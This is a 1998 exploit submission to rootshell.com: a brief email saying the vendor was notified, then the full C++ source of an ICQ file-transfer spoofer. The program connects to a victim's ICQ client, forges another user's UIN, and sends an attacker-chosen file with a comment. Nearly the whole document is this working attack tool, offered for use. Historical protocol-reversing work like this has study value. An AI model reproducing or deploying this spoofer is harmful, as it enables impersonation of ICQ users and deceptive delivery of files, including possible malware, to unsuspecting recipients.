[from http://www.rootshell.com/ ]

Date: Wed, 8 Jul 1998 16:46:11 -0700 (PDT)
From: Eric Hanson <hanser@wwc.edu>
To: info@rootshell.com
Subject: icq file spoofer
      
Here's an original exploit submission.  We've had it for a month or so, and
told the former mirabilis about it, but (unsuprisingly) got no response, so
here you go.

-- cut here --

/* ICQ File transfer spoofer v.0001 - [ http://www.rootshell.com/ ]
 * by Eric Hanson (hanser@wwc.edu), Sam Fortiner (fortsa@cs.wwc.edu),
 * Hans Buchheim (buchha@cs.wwc.edu), and Richard Patchett
 * (patcri@cs.wwc.edu).
 *
 * This is our first attempt at anything icq related.  It's messy, but it
 * works.
 *
 * To compile: g++ icqfile.cpp -o icqfile
 *
 * Known bugs:
 *   - Doesn't support speed changes (crashes)
 *   - Doesn't work quite right with the Java client
 *
 * Tested with:
 *   - Slackware Linux 2.0.30
 *   - ICQ Version 98a beta, DLL v1.07
 *
 * Copyright (c) 1998
 */

#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <iostream.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/types.h>

#define VERSION htons(0x0300)
#define COMMAND_SENDFILE htons(0xee07)

class ICQPacket
{
 public:
 /* Packet 2 Header */
 __u32 SourceUIN;
 __u16 ICQVersion;
 __u32 Command;
 __u16 CommentLength;
 __u32 SenderIP;
 __u16 SenderPort;
 __u32 Unknown1b;
 __u32 Unknown2b;
 __u32 FileNameLength;
 __u8  Unknown4b;
 __u32 FileSize;
 __u32 Unknown1c;
 __u32 Unknown2c; /* Sender status ?*/
 __u16 FirstHeaderSize = 0x1a;
 __u16 SecondHeaderSize;

 __u16 DestinationPort;

 char header[] =
  {0xff, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
 char header2[] =
  {0x04, 0x00, 0x00};
 char intPad[] = {0x00, 0x00, 0x00, 0x00};
 char shortPad[] = {0x00, 0x00};
 char charPad[] = {0x00};

 char fileName[1024];
 char comment[1024];

 void exchangeName( int sock );
 void writePacket( int sock );
 void readResponse( int sock, ICQPacket* pPkt );
 void readNameExchange( int sock, ICQPacket* pPkt );
 void sendFilePreamble( int sock );
 void readFilePreamble (int sock);
 void sendFile( int sock );
};

void ICQPacket::writePacket(int sock)
{
 char buffer[65537];
 int offset = 0;

 memcpy(buffer, header, 9);
 offset += 9;
 memcpy(buffer + offset, &SourceUIN, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &SenderIP, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &SenderIP, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &SenderPort, sizeof(__u16));
 offset += sizeof(__u16);
 memcpy(buffer + offset, &header2, 3);
 offset += 3;

 offset += sizeof(__u16);

 memcpy(buffer + offset, &SourceUIN, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &ICQVersion, sizeof(__u16));
 offset += sizeof(__u16);
 memcpy(buffer + offset, &Command, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &SourceUIN, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &ICQVersion, sizeof(__u16));
 offset += sizeof(__u16);
 memcpy(buffer + offset, &CommentLength, sizeof(__u16));
 offset += sizeof(__u16);

 memcpy(buffer + offset, comment, strlen(comment));
 offset += strlen(comment);
 buffer[offset++] = 0x0;

 memcpy(buffer + offset, &SenderIP, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &SenderIP, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &SenderPort, sizeof(__u16));
 offset += sizeof(__u16);
 memcpy(buffer + offset, &Unknown1b, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &Unknown2b, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &FileNameLength, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &Unknown4b, sizeof(__u8));
 offset += sizeof(__u8);

 memcpy(buffer + offset, fileName, strlen(fileName));
 offset += strlen(fileName);
 buffer[offset++] = 0x0;

 memcpy(buffer + offset, &FileSize, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &Unknown1c, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &Unknown2c, sizeof(__u32));
 offset += sizeof(__u32);

 SecondHeaderSize = offset - FirstHeaderSize - 2;
 memcpy(buffer + 0x1a, &SecondHeaderSize, sizeof(__u16));

 write(sock, (void const *)&FirstHeaderSize, sizeof(__u16));

 write(sock, (void const *)buffer, offset);

}

void ICQPacket::exchangeName( int sock )
{
 char local_header[] = {0xff, 0x03, 0x00, 0x00, 0x00};
 char local_header2[] = {0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,
0x00};
 char local_header3[] = {0x64, 0x00, 0x00, 0x00};

 // local_header3 is the speed in percent (0 - 100)
 // bytes 6 thru 9 of local_header2 is the number of files to send.

 char buffer[65537];
 int offset = 0;

 FirstHeaderSize = 0x1a;

 memcpy(buffer, &local_header, 5);
 offset += 5;
 SenderPort --;
 memcpy(buffer + offset, &SenderPort, sizeof(__u16));

 offset += sizeof(__u16);
 offset += 2; // skip over 0x00, 0x00

 memcpy(buffer + offset, &SourceUIN, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &SenderIP, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &SenderIP, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &SenderPort, sizeof(__u16));
 offset += sizeof(__u16);
 memcpy(buffer + offset, &header2, 3);
 offset += 3;

 SenderPort ++; // set senderport back to actual port

 offset += 2;  // skip over rest of file length.

 memcpy(buffer + offset, &local_header2, 9);
 offset += 9;
 memcpy(buffer + offset, &FileSize, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &local_header3, 4);
 offset += 4;

 // make username equal to UIN
 char userName[1024];
 __u16 userNameLength;
 sprintf(userName, "%i", SourceUIN);
 userNameLength = strlen(userName);

 memcpy(buffer + offset, &userNameLength, sizeof(__u16));
 offset += sizeof(__u16);
 memcpy(buffer + offset, &userName, userNameLength);
 offset += userNameLength;
 buffer[offset++] = 0x0;

 SecondHeaderSize = offset - FirstHeaderSize - 2;
 memcpy(buffer + 0x1a, &SecondHeaderSize, sizeof(__u16));

 write(sock, (void const *)&FirstHeaderSize, sizeof(__u16));

 write(sock, (void const *)buffer, offset);

 return;
}

/* Set up fileName, fileSize,
 * */
void ICQPacket::sendFilePreamble( int sock )
{
 char local_header[] = {0x02, 0x00};
 char local_header2[] = {0x01, 0x00, 0x00}; // file number?
 char buffer[65537];
 __u32 offset = 0, speed = 100, fileNameLength = strlen(fileName) + 1;
 __u32 Unknown1 = 0x0;

 memcpy(buffer + offset, &local_header, 2);
 offset += 2;
 memcpy(buffer + offset, &fileNameLength, sizeof(__u16));
 offset += sizeof(__u16);
 memcpy(buffer + offset, &fileName, fileNameLength - 1);
 offset += fileNameLength - 1;
 buffer[offset++] = 0x0;
 memcpy (buffer+offset, local_header2, 3);
 offset += 3;
 memcpy(buffer + offset, &FileSize, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &Unknown1, sizeof(__u32));
 offset += sizeof(__u32);
 memcpy(buffer + offset, &speed, sizeof(__u32));
 offset += sizeof(__u32);

 __u16 nextPacketSize = (__u16)offset;
 write(sock, (void*)&nextPacketSize, sizeof(__u16));
 write(sock, (void*)buffer, nextPacketSize);

}

void ICQPacket::readNameExchange( int sock, ICQPacket* pPkt )
{
 __u16 nextPacketSize;
 int offset = 0;
 int connectionSpeed = 0;
 char constant;

 read(sock, (void*)&nextPacketSize, sizeof(__u16));

 char *buffer = new char[nextPacketSize];
 if(buffer){
  read(sock, (void*)buffer, nextPacketSize);

  memcpy(&constant, buffer + offset, 1);
  offset += 1;

  memcpy(&connectionSpeed, buffer + offset, sizeof(__u32));
  offset += sizeof(__u32);
  memcpy(&pPkt->CommentLength, buffer + offset, sizeof(__u16));
  offset += sizeof(__u16);
  memcpy(&pPkt->comment, buffer + offset, pPkt->CommentLength);
  offset += pPkt->CommentLength;
  pPkt->comment[pPkt->CommentLength] = 0x0;

  printf("Sending file to %s:", pPkt->comment);
  fflush(stdout);

  delete buffer;
 }
 else
  {
   printf("Error allocating buffer in readNameExchange.\n");
  }
}

void ICQPacket::readFilePreamble (int sock)
{
 __u16 nextPacketSize;
 __u32 unknown1, unknown2;
 int offset = 0;
 int connectionSpeed = 0;
 char constant;

 read(sock, (void*)&nextPacketSize, sizeof(__u16));

 char *buffer = new char[nextPacketSize];
 if(buffer){
  read(sock, (void*)buffer, nextPacketSize);

  memcpy(&constant, buffer + offset, 1);
  offset += 1;

  memcpy(&unknown1, buffer + offset, sizeof(__u32));
  offset += sizeof(__u32);
  memcpy(&unknown2, buffer + offset, sizeof(__u32));
  offset += sizeof(__u16);
  memcpy(&connectionSpeed, buffer + offset, sizeof(__u32));
  offset += sizeof(__u32);

  delete buffer;
 }
 else{
  printf("Error allocating buffer in readNameExchange.\n");
 }


}

void ICQPacket::sendFile( int sock )
{
 char *fileBuffer = new char[FileSize];
 unsigned char constant = 0x06;
 int remainingBytes = FileSize, offset = 0;
 __u16 nextPacketSize;

 if( fileBuffer )
 {
  int fd = open( fileName, O_RDONLY);
  if ( fd == -1 )
  {
   perror("open in sendFile");
  }
  else
  {
   int status = read( fd, fileBuffer, FileSize );
   if( status == -1 )
   {
    perror("read in sendfile");
   }
   else
   {
    int firstPacket = 1;
    fflush(stdout);
    do
    {
     char b[2051];
     __u16 temp;

     if(remainingBytes < 2048)
      nextPacketSize = remainingBytes;
     else
      nextPacketSize = 2048;

     if( firstPacket )
     {
      firstPacket = 0;
      temp = nextPacketSize + 1;
      write(sock, &temp, sizeof(__u16));
      b[0] = constant;
      memcpy(&b[1], fileBuffer + offset, nextPacketSize);
      offset += nextPacketSize;
      remainingBytes -= nextPacketSize;
      write(sock, b, nextPacketSize + 1);
     }
     else
     {
      temp = nextPacketSize + 1;
      memcpy(b, &temp, sizeof(__u16));
      b[2] = constant;
      memcpy(&b[3], fileBuffer + offset, nextPacketSize);
      offset += nextPacketSize;
      remainingBytes -= nextPacketSize;
      write(sock, b, nextPacketSize + 3);
     }
     printf(".");
     fflush(stdout);
    } while ( remainingBytes );

    printf("\nFile sent.\n");

   }
  delete fileBuffer;
  }
 }
 else
 {
  printf("Error allocating memory for fileBuffer in sendFile.\n");
 }
}

void ICQPacket::readResponse( int sock, ICQPacket* pPkt )
{
 __u16 nextPacketSize;
 int offset = 0;

 read(sock, (void *)&nextPacketSize, sizeof(__u16));

 char *buf = new char[nextPacketSize];
 if(buf) {
  __u32 reject;

  read(sock, (void *)buf, nextPacketSize);

  memcpy(&pPkt->SourceUIN, &buf[offset], sizeof(__u32));
  offset += sizeof(__u32);
  memcpy(&pPkt->ICQVersion, &buf[offset], sizeof(__u16));
  offset += sizeof(__u16);
  if(pPkt->ICQVersion != VERSION)
   printf("Version differences:  target 0x%x, actual 0x%x.\n", VERSION,
pPkt->ICQVersion);
  memcpy(&pPkt->Command, &buf[offset], sizeof(__u32));
  offset += sizeof(__u32);
  offset += sizeof(__u32); // skip over the 2nd UIN
  offset += sizeof(__u16); // skip over the 2nd version
  memcpy(&pPkt->CommentLength, &buf[offset], sizeof(__u16));
  offset += sizeof(__u16);
  memcpy(&pPkt->comment, &buf[offset], pPkt->CommentLength);
  offset += pPkt->CommentLength;


  memcpy(&pPkt->SenderIP, &buf[offset], sizeof(__u32));
  offset += sizeof(__u32);
  offset += sizeof(__u32); // skip over 2nd IP
  memcpy(&pPkt->SenderPort, &buf[offset], sizeof(__u16));
  offset += sizeof(__u16);
  offset += 3; // skip junk 0x00, 0x00, 0x04
  memcpy(&reject, &buf[offset], sizeof(__u32));
  offset += sizeof(__u32);

  if(!reject)
   printf("Connection accepted.\n");
  else
  {
   printf("Connection REJECTED.\n");
   printf("Comment: %s\n", pPkt->comment);
  }

  offset += sizeof(__u16); // skip over dest port

  offset += sizeof(__u16); // skip 2 bytes 0x00, 0x00

  memcpy(&pPkt->FileNameLength, &buf[offset], sizeof(__u16));
  offset += sizeof(__u16);

  memcpy(&pPkt->fileName, &buf[offset], pPkt->FileNameLength);
  offset += pPkt->FileNameLength;

  offset += sizeof(__u32); // skip 4 bytes 0x00, 0x00, 0x00, 0x00

  memcpy(&pPkt->DestinationPort, &buf[offset], sizeof(__u16));
  offset += sizeof(__u16);

  delete buf;

  if(reject)
   exit(1);
 }
 else {
  printf("Error allocating memory.\n");
 }
}


int main(int argc, char *argv[])
{
  struct sockaddr_in sin, sout, sin2, sout2;
 struct stat st;

 char fileName[1024], comment[1024];

 comment[0] = 0;

 int sock, x;
 int nameSize;
 int fileSize;
 int sock2;

  if (argc != 6)
 {
  printf(" ICQ File Spoofer\n");
  printf("usage: %s ip port SpoofedUIN file \"comment\"\n", argv[0]);
  return (0);
  }

 strcpy(fileName, argv[4]);
 if( stat(fileName, &st) != -1)
   {
    fileSize = st.st_size;
   }
 else
  {
   perror("stat");
   exit(1);
  }
 strcpy(comment, argv[5]);

 /* make a socket */
 if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {
  perror("socket");
  return (0);
 }

 /* set some stuff up */
 sin.sin_family = AF_INET;
 sin.sin_addr.s_addr = inet_addr(argv[1]);
 sin.sin_port = htons(atol(argv[2]));

 /* connect to the victim */
 if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))==-1) {
  perror("connect");
  return (0);
 }

 nameSize = sizeof(sockaddr);
 getsockname(sock, (struct sockaddr*)&sout, &nameSize);

 /* make our payload */
 x = -1;

 ICQPacket pkt, pkt2, pkt3;

  pkt.SourceUIN = atoi(argv[3]);
 pkt.ICQVersion = VERSION;
 pkt.Command = COMMAND_SENDFILE;
 pkt.CommentLength = strlen(comment) + 1;


 pkt.Unknown1b = 0x00040000;
 pkt.Unknown2b = 0x00001000;
 pkt.FileNameLength = htonl(strlen(fileName) + 1);

 pkt.Unknown4b = 0x00;

 pkt.FileSize = fileSize;
 pkt.Unknown1c = 0x0000;
 pkt.Unknown2c = 0xFFFFFFA0;

 strcpy(pkt.fileName, fileName);
 strcpy(pkt.comment, comment);

 pkt.writePacket(sock);
 printf("Waiting for acceptance.\n");
 pkt.readResponse(sock, &pkt2);


  /* make a socket */
 if (!(sock2 = socket(AF_INET, SOCK_STREAM, 0))) {
  perror("socket2");
  return (0);
 }

 /* set some stuff up */
 sin2.sin_family = AF_INET;
 sin2.sin_addr.s_addr = inet_addr(argv[1]);
 sin2.sin_port = htons(pkt2.DestinationPort);

 /* connect to the victim */
 if (connect(sock2, (struct sockaddr*)&sin2,sizeof(sin2))==-1) {
  perror("connect");
  return (0);
 }

 nameSize = sizeof(sockaddr);
 getsockname(sock2, (struct sockaddr*)&sout2, &nameSize);

 pkt3.SenderIP = sout2.sin_addr.s_addr;
 pkt3.SenderPort = ntohs( sout2.sin_port );
 pkt3.SourceUIN = atoi(argv[3]);
 pkt3.FileSize = fileSize;

 pkt3.exchangeName( sock2 );

 pkt3.readNameExchange( sock2, &pkt2 );

 pkt3.FileSize = fileSize;
 strcpy(pkt3.fileName, fileName);
 pkt3.sendFilePreamble( sock2 );

 pkt3.readFilePreamble( sock2 );

 pkt3.sendFile ( sock2 );

 close(sock2);

  close(sock);
  return (0);
}

-- cut here --


